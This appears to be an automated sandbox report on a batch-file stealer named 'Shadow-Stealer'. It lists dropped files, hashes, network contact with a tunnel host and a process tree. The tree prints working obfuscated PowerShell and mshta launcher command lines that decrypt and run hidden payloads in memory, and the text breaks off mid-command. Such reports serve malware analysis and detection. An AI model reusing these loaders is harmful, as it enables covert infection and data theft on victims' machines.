(x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........AfterEa

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulltP/XZ:NllU
MD5:	F4FD6F7F8DDC8D2716B5AE289B93BDCE
SHA1:	F48B3E013E3536DB71FED89B5786847E3951C767
SHA-256:	84EDE900B5623435AF6CC6C8266F751A2BF95CBF19E9B12C63178A389A3472C0
SHA-512:	B7C830C41152C07E30DDA334F0B0F2CEF9632074FE87958680B490CC6A650145536D33178E2E744AAC2303014A4C243C3DAA5E44261291DC853C977911FFBB09
Malicious:	false
Preview:	@...e.................................4.*............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jlgsfutp.pce.ps1

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tgl325tg.gs0.psm1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vukuuau1.1n3.psm1

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5b5vabz.cnb.ps1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1u5esr5.j1k.psm1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zntl3i1o.dzu.ps1

Download File

Process:	C:\Windows\$sxr-powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\Desktop\Shadow-Stealer.bat.exe

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: trafik_yenilme.bat, Detection: malicious, Browse Filename: a.bat, Detection: malicious, Browse Filename: Rune_Launcher.bat, Detection: malicious, Browse Filename: SCO_23.bat, Detection: malicious, Browse Filename: IMG_690B23.docx.bat, Detection: malicious, Browse Filename: Qtagiietkyb.png.bat, Detection: malicious, Browse Filename: IMG_690B23.bat, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.DropperX-gen.31402.22171.exe, Detection: malicious, Browse Filename: 345d.cmd, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: PingOptimizerMain.bat, Detection: malicious, Browse Filename: crack.bat, Detection: malicious, Browse Filename: da49aae4ea90792e9f5497dcd2c4fa8cf7bb98a23b2d846ab985facf.bat, Detection: malicious, Browse Filename: Final_rooming_list.bat, Detection: malicious, Browse Filename: RE_432-7784.js, Detection: malicious, Browse Filename: FA150623.pdf.bat, Detection: malicious, Browse Filename: Uni.bat, Detection: malicious, Browse Filename: update_SC.bat, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Windows\$sxr-cmd.exe

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	289792
Entropy (8bit):	6.135598950357573
Encrypted:	false
SSDEEP:	6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
SHA1:	F1EFB0FDDC156E4C61C5F78A54700E4E7984D55D
SHA-256:	B99D61D874728EDC0918CA0EB10EAB93D381E7367E377406E65963366C874450
SHA-512:	99E784141193275D4364BA1B8762B07CC150CA3CB7E9AA1D4386BA1FA87E073D0500E61572F8D1B071F2FAA2A51BB123E12D9D07054B59A1A2FD768AD9F24397
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........OH...&...&...&..V...&..E%...&..E"...&...'../&..E'...&..E#...&..E+...&..E....&..E$...&.Rich..&.................PE..d...S.............".................P..........@.............................p............`.................................................(...................4#...........`......`Z..T............................,...............4...... ........................text............................... ..`.rdata..<.... ......................@..@.data...P...........................@....pdata..4#.......$..................@..@.didat..............................@....rsrc...............................@..@.reloc.......`.......h..............@..B........................................................................................................................................................................................................................

C:\Windows\$sxr-mshta.exe

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	4.477514759495553
Encrypted:	false
SSDEEP:	192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5:	0B4340ED812DC82CE636C00FA5C9BEF2
SHA1:	51C97EBE601EF079B16BCD87AF827B0BE5283D96
SHA-256:	DBA3137811C686FD35E418D76184070E031F207002649DA95385DFD05A8BB895
SHA-512:	D9DF8C1F093EA0F7BDE9C356349B2BA43E3CA04B4C87C0F33AB89DDA5AFE9966313A09B60720AA22A1A25D43D7C71A060AF93FB8F6488201A0E301C83FA18045
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}xT[9.:.9.:.9.:.0a..=.:.-r9.;.:.-r>.(.:.9.;...:.-r;.:.:.-r?.:.:.-r2.:.:.-r..8.:.-r8.8.:.Rich9.:.........PE..d.....c..........."............................@....................................r'....`.................................................d'..P....P.......@...............p.. ....$..T............................ ..............(!..p............................text............................... ..`.rdata..4.... ......................@..@.data........0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc.. ....p.......8..............@..B........................................................................................................................................................................................................................................................................

C:\Windows\$sxr-powershell.exe

Download File

Process:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines (4949), with CRLF line terminators
Entropy (8bit):	6.034917295946877
TrID:
File name:	Shadow-Stealer.bat
File size:	13'144'733 bytes
MD5:	cf5b412ffc3ce43cd7ddce602fc67f56
SHA1:	221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256:	84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
SHA512:	695489d3b02863c382dc4b044bd80825b3f46eadfe4647619a0036da7ab3405b7925e89a457b19ee57995a59dcf8d5f9df237cd4d5d59a6cee3914aeaee2a8ef
SSDEEP:	49152:mmlB6XvIxKx/znMtw4e/x4dA+ilmm5C5rsw1y1lkGxJW5RXLnfaWixbVoZmb0nYk:b
TLSH:	52D6C0DAFE622B6C030B1C9749025DD9981DC2A724F1CEDFBE106B1B205B6C1EED5297
File Content Preview:	%gfJDTDQFGwMPRbEGEjqFrFhhqZzZBawNSJUWBhSvEagyQWNAEcrIXXBayaLuDoDdzywIGgFVQwBPXiQSLzVWimnuIuXYUXqOXByRaFrWXUpbWjDNJrgDRfwKIBAMHfBqDkpVjzqGGzyMwLVWoKObqmwrFmIYFfOrTzXkugbKAZxSghNxdaVxPWAOoyPxoQBZjFrxmjcIgDaPpbLVXLvbIQawzIwvPfUhYViZoQIvyMOLwiXLluWcVWQRcwycmh

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2023 16:35:27.356673956 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:35:27.542896032 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:35:27.543107033 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:35:28.370522976 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:35:28.557357073 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:35:43.558749914 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:35:43.558934927 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:35:53.642613888 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:35:53.828510046 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:08.844676971 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:08.844876051 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:18.830081940 CET	49716	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:19.016064882 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:25.571134090 CET	22112	49716	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:27.174932003 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:27.366257906 CET	22112	49725	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:27.366410017 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:27.366954088 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:27.557534933 CET	22112	49725	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:42.576751947 CET	22112	49725	167.71.56.116	192.168.2.6
Dec 3, 2023 16:36:42.576874971 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:52.564503908 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:36:52.756547928 CET	22112	49725	167.71.56.116	192.168.2.6
Dec 3, 2023 16:37:07.792742968 CET	22112	49725	167.71.56.116	192.168.2.6
Dec 3, 2023 16:37:07.792809010 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:37:17.814313889 CET	49725	22112	192.168.2.6	167.71.56.116
Dec 3, 2023 16:37:18.006856918 CET	22112	49725	167.71.56.116	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2023 16:35:26.905977964 CET	60163	53	192.168.2.6	1.1.1.1
Dec 3, 2023 16:35:27.268147945 CET	53	60163	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2023 16:35:26.905977964 CET	192.168.2.6	1.1.1.1	0x11b1	Standard query (0)	throbbing-mountain-09011.pktriot.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2023 16:35:27.268147945 CET	1.1.1.1	192.168.2.6	0x11b1	No error (0)	throbbing-mountain-09011.pktriot.net	eu-central-7075.packetriot.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2023 16:35:27.268147945 CET	1.1.1.1	192.168.2.6	0x11b1	No error (0)	eu-central-7075.packetriot.net		167.71.56.116	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	16:34:44
Start date:	03/12/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Shadow-Stealer.bat" "
Imagebase:	0x7ff7bf910000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	16:34:44
Start date:	03/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:34:51
Start date:	03/12/2023
Path:	C:\Users\user\Desktop\Shadow-Stealer.bat.exe
Wow64 process (32bit):	false
Commandline:	"Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
Imagebase:	0x7ff6bffc0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:35:07
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{2ca74e05-00fd-4f33-afb0-1baa728859ba}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:35:07
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{a795ed5e-f9f8-4b9c-9e39-bf732c676d16}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	16:35:12
Start date:	03/12/2023
Path:	C:\Windows\$sxr-mshta.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Imagebase:	0x7ff64e1d0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:35:12
Start date:	03/12/2023
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dllhost.exe /Processid:{3885b722-1a15-44b5-b09d-ff91e5413f87}
Imagebase:	0x7ff642ec0000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	16:35:12
Start date:	03/12/2023
Path:	C:\Windows\SysWOW64\dllhost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\dllhost.exe /Processid:{99a849d9-b898-48bd-a9ae-8d2739f763c9}
Imagebase:	0x100000
File size:	19'256 bytes
MD5 hash:	6F3C9485F8F97AC04C8E43EF4463A68C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	16:35:13
Start date:	03/12/2023
Path:	C:\Windows\$sxr-cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
Imagebase:	0x7ff7137e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Virustotal, Browse
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	16:35:13
Start date:	03/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	16:35:13
Start date:	03/12/2023
Path:	C:\Windows\$sxr-powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = 